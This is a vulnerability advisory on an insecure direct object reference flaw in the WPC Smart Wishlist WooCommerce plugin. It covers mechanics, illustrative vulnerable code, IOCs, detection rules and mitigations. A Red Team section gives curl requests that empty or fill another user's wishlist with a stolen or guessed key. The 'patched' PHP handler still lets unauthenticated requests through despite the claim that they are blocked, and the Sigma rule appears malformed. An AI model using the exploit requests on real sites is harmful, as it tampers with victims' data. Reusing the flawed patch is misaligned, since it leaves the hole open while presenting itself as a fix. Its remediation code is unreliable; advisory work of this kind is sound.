CVE-2025-11518

Executive Summary

CVE-2025-11518 is an Insecure Direct Object Reference (IDOR) vulnerability in the WPC Smart Wishlist for WooCommerce WordPress plugin, affecting all versions up to and including 5.0.3. The vulnerability resides in several AJAX functions that handle wishlist operations. Due to missing validation on a user-controlled key (exposed when wishlists are shared), an unauthenticated attacker can empty or add items to other users' wishlists if they obtain the associated key. This is a WordPress ecosystem issue; the plugin fails to properly verify ownership of the wishlist key before performing actions.

The CVSS v3.1 base score is 5.3 (Medium), with a vector of AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N. The EPSS score is 0.0%, indicating low exploitation probability at this time, but the lack of a patch makes it a persistent risk.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository and third-party marketplaces. Since the patch status is unknown, users must rely on manual mitigation or removal. No OSV or GitHub advisory data is available, and no public exploit code has been released.

CVSS Breakdown & Threat Level

Threat Level: Medium. The vulnerability allows unauthorized modification of wishlist data but does not lead to data theft or system compromise. However, it can be exploited by unauthenticated attackers with only the wishlist key, which may be leaked or guessed.

Deep Dive & Mechanics

The WPC Smart Wishlist plugin provides AJAX endpoints for managing wishlists (e.g., adding items, emptying the list). When a user shares their wishlist, a unique key is generated and exposed (e.g., in a URL). The vulnerability arises because the plugin's AJAX handlers do not verify that the provided key belongs to the authenticated user (or that the request is authorized). An attacker who obtains this key can send crafted AJAX requests to:

• Empty another user's wishlist (e.g., wpc_empty_wishlist action)
• Add items to another user's wishlist (e.g., wpc_add_to_wishlist action)

The missing validation on the key parameter allows the attacker to impersonate the wishlist owner. Since the AJAX endpoints are accessible to unauthenticated users (no nonce or session check), the attack is straightforward.

Root Cause: The plugin fails to implement proper authorization checks on the wishlist key. The key is treated as a simple identifier without verifying that the requester is the owner or has permission to modify the wishlist.

Vulnerable vs. Patched Code

Since no patch is available, we compare the vulnerable pattern with a hypothetical secure implementation.

Vulnerable Code (PHP - AJAX handler example):

add_action('wp_ajax_wpc_empty_wishlist', 'wpc_empty_wishlist');
add_action('wp_ajax_nopriv_wpc_empty_wishlist', 'wpc_empty_wishlist');

function wpc_empty_wishlist() {
    $key = $_POST['key'];
    // No ownership check
    global $wpdb;
    $wpdb->delete("{$wpdb->prefix}wpc_wishlists", array('key' => $key));
    wp_die();
}

Patched Code (Hypothetical):

add_action('wp_ajax_wpc_empty_wishlist', 'wpc_empty_wishlist');
add_action('wp_ajax_nopriv_wpc_empty_wishlist', 'wpc_empty_wishlist');

function wpc_empty_wishlist() {
    $key = sanitize_text_field($_POST['key']);
    $user_id = get_current_user_id();
    
    // Verify ownership
    global $wpdb;
    $wishlist = $wpdb->get_row($wpdb->prepare(
        "SELECT * FROM {$wpdb->prefix}wpc_wishlists WHERE `key` = %s",
        $key
    ));
    
    if (!$wishlist || ($user_id > 0 && $wishlist->user_id != $user_id)) {
        wp_die('Unauthorized');
    }
    
    $wpdb->delete("{$wpdb->prefix}wpc_wishlists", array('key' => $key));
    wp_die();
}

The patched version adds ownership verification by checking the user_id associated with the wishlist key against the current authenticated user. For unauthenticated users, the action is blocked entirely.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A WordPress site with WPC Smart Wishlist for WooCommerce <= 5.0.3 installed and activated.
• A valid wishlist key (e.g., obtained from a shared wishlist URL like ?wishlist_key=abc123).

Exploitation Steps:

1. Identify a target wishlist key (e.g., from a shared link or by brute-forcing short keys).
2. Empty the wishlist:

   curl -X POST "http://target.com/wp-admin/admin-ajax.php" \
        -d "action=wpc_empty_wishlist&key=abc123"
   

3. Add a product to the wishlist:

   curl -X POST "http://target.com/wp-admin/admin-ajax.php" \
        -d "action=wpc_add_to_wishlist&key=abc123&product_id=123"
   

Expected Outcome: The victim's wishlist is emptied or populated with attacker-chosen products.

Blue Team (Detection & Hardening)

Detection:

• Monitor AJAX requests to admin-ajax.php with actions wpc_empty_wishlist or wpc_add_to_wishlist from unauthenticated users.
• Log all wishlist key usage and alert on rapid modifications.

Hardening:

• Disable the plugin until a patch is released.
• Implement a Web Application Firewall (WAF) rule to block unauthenticated AJAX requests to these actions.
• Restrict wishlist sharing to authenticated users only.

Indicators of Compromise (IOCs)

• Network IOCs:
  • POST requests to /wp-admin/admin-ajax.php with parameters action=wpc_empty_wishlist or action=wpc_add_to_wishlist and a key parameter.
  • Repeated requests with different key values (brute-force attempts).
• File IOCs:
  • Modified entries in the wp_wpc_wishlists database table (unexpected deletions or additions).
• Log IOCs:
  • WordPress debug log entries showing AJAX calls from unauthenticated users to wishlist endpoints.

Detection Engineering

YARA Rule

rule CVE_2025_11518_WPC_Wishlist_IDOR {
    meta:
        description = "Detects exploitation attempts of CVE-2025-11518 in WPC Smart Wishlist plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-11518"
    strings:
        $ajax_action_empty = "action=wpc_empty_wishlist"
        $ajax_action_add = "action=wpc_add_to_wishlist"
        $key_param = "key="
    condition:
        any of ($ajax_action*) and $key_param
}

Sigma Rule

title: CVE-2025-11518 - WPC Smart Wishlist IDOR Exploitation
id: 8a2b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects unauthenticated AJAX requests to WPC Smart Wishlist endpoints
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 
            - 'action=wpc_empty_wishlist'
            - 'action=wpc_add_to_wishlist'
        cs-uri-query|contains: 'key='
    condition: selection
falsepositives:
    - Legitimate wishlist sharing by authenticated users (rare)
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-11518 - WPC Smart Wishlist IDOR Exploitation"; flow:to_server; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=wpc_empty_wishlist"; http_client_body; content:"key="; http_client_body; classtype:attempted-user; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patched version is released.
2. Manually patch the AJAX handlers to add ownership verification (see patched code example).
3. Implement a WAF rule to block unauthenticated requests to wpc_empty_wishlist and wpc_add_to_wishlist.

Long-term:

• Monitor the plugin's official page for updates.
• Consider replacing the plugin with an alternative that follows secure coding practices.
• Conduct a security audit of all WordPress plugins in use.

Workaround: If the plugin must remain active, restrict wishlist sharing to logged-in users only and regenerate keys after each session.

Valters IT